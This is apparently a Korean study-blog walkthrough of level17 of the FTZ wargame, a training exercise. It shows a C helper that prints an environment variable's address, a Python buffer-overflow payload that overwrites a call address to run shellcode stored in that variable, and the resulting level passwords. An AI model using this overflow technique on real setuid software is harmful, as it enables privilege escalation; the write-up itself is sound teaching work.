yehey's 공부 노트 \n ο(=•ω<=)ρ⌒☆

FTZ level17 풀이 본문

wargame 풀이/FTZ

FTZ level17 풀이

yehey 2020. 9. 30. 23:12
id: level17
pw: king poetic

level17의 힌트를 보자!

level16이랑 굉장히 비슷하다!

다른 점은 level16에는 있던 shell() 함수가 level17의 attackme에는 존재하지 않는다.

하지만 권한을 level18로 바꾸어주는 setreuid는 있으므로 쉘을 띄워주는 쉘 코드를 환경변수에 등록하면 된다!

 

우선 main함수를 디스어셈블하자

디스어셈블 결과도 level16과 매우 똑같다.

그래도 스택 구조를 그려보자

스택 구조 역시 level16과 매우 똑같다.

달라진 점은 쉘코드를 환경변수에 넣고 환경변수 주소를 call 자리에 넣어야 한다는 점 뿐이다.

 

쉘 코드를 환경변수에 등록해주자!

 

이제 쉘 코드 시작 주소를 알아내는 shell.c 를 작성해서 컴파일 해주자

//shell.c

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[1]){
        char *env;
        env=getenv("SHELL2");
        printf("%p \n",env);
        return 0;

}

컴파일: gcc -o shell shell.c

 

컴파일 한 실행파일을 실행시켜주면 SHELL2의 주소를 얻을 수 있다.

이제 이 주소를 call자리에 넣어주자!

buf에서 call 직전까지인 40바이트는 의미없는 문자로 채워주고 call자리에 0xbffffba7을 little endian으로 넣어주자

payload: (python -c 'print "A"*40+"\xa7\xfb\xff\xbf"';cat)|./attackme

 

level18 권한의 쉘이 띄워졌고 패스워드도 얻었다.

 

level18의 pw: "why did you do it"

'wargame 풀이 > FTZ' 카테고리의 다른 글

FTZ level19 풀이  (0) 2020.10.06
FTZ level18 풀이  (0) 2020.10.05
FTZ level16 풀이  (0) 2020.09.30
FTZ level15 풀이  (0) 2020.09.29
FTZ level14 풀이  (0) 2020.09.28
Comments